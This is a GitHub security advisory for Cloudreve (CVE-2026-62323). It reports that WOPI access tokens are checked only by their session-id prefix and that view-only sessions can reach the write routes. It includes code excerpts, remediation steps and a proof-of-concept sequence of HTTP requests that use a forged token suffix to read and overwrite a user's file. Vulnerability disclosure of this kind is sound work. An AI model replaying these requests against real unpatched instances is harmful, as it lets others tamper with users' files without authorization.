Skip to content

Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored

Moderate severity GitHub Reviewed Published Jul 23, 2026 in cloudreve/cloudreve • Updated Jul 24, 2026

Package

gomod github.com/cloudreve/Cloudreve/v3 (Go)

Affected versions

<= 3.0.0-20250225100611-da4e44b77af4

Patched versions

None
gomod github.com/cloudreve/Cloudreve/v4 (Go)
< 4.0.0-20260626022433-f3347130ac48
4.0.0-20260626022433-f3347130ac48

Description

Summary

Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.

Impact

A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.

This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:

sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &ViewerSessionCache{
    ID:       sessionID,
    Uri:      file.Uri(false).String(),
    UserID:   m.user.ID,
    ViewerID: viewer.ID,
    FileID:   file.ID(),
    Version:  version,
    Token:    fmt.Sprintf("%s.%s", sessionID, token),
}

The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:

accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".")
if len(accessToken) != 2 {
    ...
}

sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])

The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.

The WOPI routes are exposed without normal session authentication and rely on this middleware:

wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(":id", controllers.CheckFileInfo)
wopi.GET(":id/contents", controllers.GetFile)
wopi.POST(":id/contents", controllers.PutFile)
wopi.POST(":id", controllers.ModifyFile)

The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:

wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)

WopiService.PutContent() checks only the underlying filesystem upload capability:

file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())

It does not check whether the WOPI session was created for an edit action.

Reproduction

The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.

  1. Configure a WOPI viewer in Cloudreve.
  2. Create a user-owned file, for example cloudreve://my/wopi.txt, containing original content.
  3. Create a viewer session with preferred_action set to view:
PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer <user-token>
Content-Type: application/json

{
  "uri": "cloudreve://my/wopi.txt",
  "version": "",
  "viewer_id": "poc-wopi",
  "preferred_action": "view"
}

Observed response:

{
  "session": {
    "id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1",
    "access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>"
  }
}
  1. Replace the token suffix with any value:
GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.

  1. Use the forged token from the view-created session to read content:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response:

HTTP/1.1 200 OK
Content-Length: 16
Etag: "1bIo"

original content
  1. Use the same forged token from the view-created session to write content:
POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream

runtime modified via view session forged suffix

Observed response:

HTTP/1.1 200 OK
X-Wopi-Itemversion: nBc0
  1. Read back the modified file with the forged token:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1

Observed response:

HTTP/1.1 200 OK
Content-Length: 47
Etag: "nBc0"

runtime modified via view session forged suffix

This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.

Root cause

Two authorization values are generated or accepted but not enforced:

  1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation.
  2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.

Remediation

  • Compare the full supplied access_token to the stored ViewerSessionCache.Token using constant-time comparison.
  • Reject malformed tokens and tokens with extra separators.
  • Store a CanWrite flag or selected WOPI action in ViewerSessionCache.
  • Enforce that flag on POST /contents, PUT_RELATIVE, LOCK, and other write operations.
  • Include session-level write permission when returning WOPI FileInfo fields such as ReadOnly and UserCanWrite.

References

@HFO4 HFO4 published to cloudreve/cloudreve Jul 23, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Jul 24, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-62323

GHSA ID

GHSA-c3jm-gv5r-9wcp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.